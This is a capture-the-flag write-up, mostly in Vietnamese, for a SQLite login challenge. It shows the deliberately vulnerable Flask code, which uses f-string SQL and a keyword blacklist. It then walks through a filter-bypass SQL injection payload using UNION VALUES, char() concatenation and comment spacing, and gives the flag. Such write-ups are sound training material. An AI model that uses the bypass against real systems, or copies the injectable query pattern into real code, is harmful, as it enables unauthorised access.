Contents

CookieCTF - Baby SQLite With Filter

Contents

Description

Link challenge tại đây

You cannot create the query because we have blocked the following keywords. Challenge you to bypass it, how to know after each SQL Keyword you will be used what SQL statement. The blacklist sqli_filter = ‘[’, ‘]’, ‘,’, ‘admin’, ‘select’, ‘’’, ‘"’, ‘\t’, ‘\n’, ‘\r’, ‘\x08’, ‘\x09’, ‘\x00’, ‘\x0b’, ‘\x0d’, ’ ‘. The vulnerable parameter is ’level’ in Login function.

Step

Đây là giao diện chính của challenge:

https://github.com/g03m0n/pics/assets/130943529/15d5aecb-99e1-4c6a-aa48-6318ff48d710

Tiến hành đọc source code:

#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3

app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack

DATABASE = 'users.db'

def get_db():
    top = _app_ctx_stack.top
    if not hasattr(top, 'sqlite_db'):
        top.sqlite_db = sqlite3.connect(DATABASE)
    return top.sqlite_db


FLAG = open('/flag.txt', 'r').read()


@app.route('/')
def index():
    return render_template('index.jinja2')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.jinja2')

    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()

    sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
    for x in sqli_filter:
        if uid.find(x) != -1:
            return 'No Hack!'
        if upw.find(x) != -1:
            return 'No Hack!'
        if level.find(x) != -1:
            return 'No Hack!'

   
    with app.app_context():
        conn = get_db()
        query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
        try:
            req = conn.execute(query)
            result = req.fetchone()

            if result is not None:
                uid = result[0]
                if uid == 'admin':
                    return FLAG
        except Exception as e:
            print(e)
            return 'Error!'
    return 'Good!'


@app.teardown_appcontext
def close_connection(exception):
    top = _app_ctx_stack.top
    if hasattr(top, 'sqlite_db'):
        top.sqlite_db.close()


if __name__ == '__main__':
    os.system('rm -rf %s' % DATABASE)
    with app.app_context():
        conn = get_db()
        conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
        conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
        conn.commit()

    app.run(host='0.0.0.0', port=1337)

Có thể thấy được rằng để lấy được flag thì uid phải là admin nhưng ở trong database lại không có user nào là admin. Vì vậy ta phải khiến cho chương trình hiện thị ra mỗi một cái bảng với cột uid = admin.

Thử nghiệm ở trên SQLite Online với câu lệnh như sau:

SELECT uid FROM users WHERE uid='dream' AND upw= 'cometrue' AND level='9' UNION SELECT 'admin' AS uid;

https://github.com/g03m0n/pics/assets/130943529/71de3238-fd6c-4fdb-af22-f872c378aaab

Nhưng ta đã bị filter khá là nhiều ký tự, trong đó có cả SELECTadmin.

Trong SQLite, theo selectCore ngoài kết hợp toán tử UNION với toán tử SELECT ta còn có thể kết hợp với toán tử VALUES.

https://github.com/g03m0n/pics/assets/130943529/a66b566d-36ad-4dbe-89a5-be9e69ec96c7

Thử nghiệm:

SELECT uid FROM users WHERE uid='dream' AND upw='' AND level=0 UNION VALUES('admin');

https://github.com/g03m0n/pics/assets/130943529/46664f9e-25c5-409d-b860-d75e342c1ead

Và bypass ký tự admin bằng hàm char() có sẵn trong SQLite để ép kiểu về dạng ASCII, dùng || để nối chuỗi và dùng /**/ để bypass khoảng trắng. Payload:

uid=&upw=&level=0/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))

Flag: CHH{uS1nG_5yN7@x_d149raM_f95a6d70e2d13245852f2bc2a9ec023a}